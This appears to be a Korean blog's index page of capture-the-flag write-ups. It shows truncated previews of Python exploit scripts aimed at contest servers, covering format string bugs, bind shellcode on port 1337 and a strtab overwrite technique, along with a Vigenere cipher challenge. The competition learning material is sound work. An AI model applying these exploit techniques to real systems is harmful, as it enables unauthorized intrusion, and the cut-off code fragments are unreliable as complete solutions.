목록Security/[게임] CTF 풀이 (54)
Hello, Stranger
#!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( "<I", x ) up = lambda x: struct.unpack( "<I", x )[0] host = "78.46.224.83" port = 1456 s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.con..
[문제]Vigenere k: ???????????? p: SECCON{???????????????????????????????????} c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe [풀이] import md5 p = "SECCON{?????????????????????????????????..
#!/usr/bin/env python import socket import telnetlib import struct from collections import deque p = lambda x: struct.pack( "
#!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( "<I", x ) up = lambda x: struct.unpack( "<I", x )[0] host = "localhost" host = "cheermsg.pwn.seccon.jp" port = 30527 s = socket.socket( socket.AF_INET..
#!/usr/bin/env python import socket host = 'localhost' host = "checker.pwn.seccon.jp" port = 1120 port = 14726 s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.connect( ( host, port ) ) def u_recv( st ): bf = '' while st not in bf: bf +=..
<문제 유형> blackcon@bk:~/def/code$nc catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999 ****Initial Register State**** rax=0x408ac14d14c91041 rbx=0x92b94f86512d81f7 rcx=0x27e130edb33ed938 rdx=0x4908d46be209ea22 rsi=0x46544d33f06..
[+[ Format String Bug #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( "
[+] keyword : double format string bug, overwrite ebp [!] 코드가 많이 복잡합니다 ㅎㅎ 그래도 코드만 올릴게요 :D [!] 쉘코드는 bind shellcode를 이용하여 1337번 포트로 재접속하는 쉘코드를 사용했습니다. #!/usr/bin/env python import struct import socket import time import telnetlib p = lambda x: struct.pa..
와...일단 풀이 올리기 전에 굉장한 기술문서를 작성한 pwn3r님 감사드리면서 기술문서도 함께 올리겠습니다...기술문서 요약 : dynamic에 쓰기권한이 있을 때 strtab부분을 수정하여 원하는 함수를 호출할 수 있다.<문제 binary> #!/usr/bin/env python import socket import struct import telnetlib p = lambda x: struct.pack( "<I", ..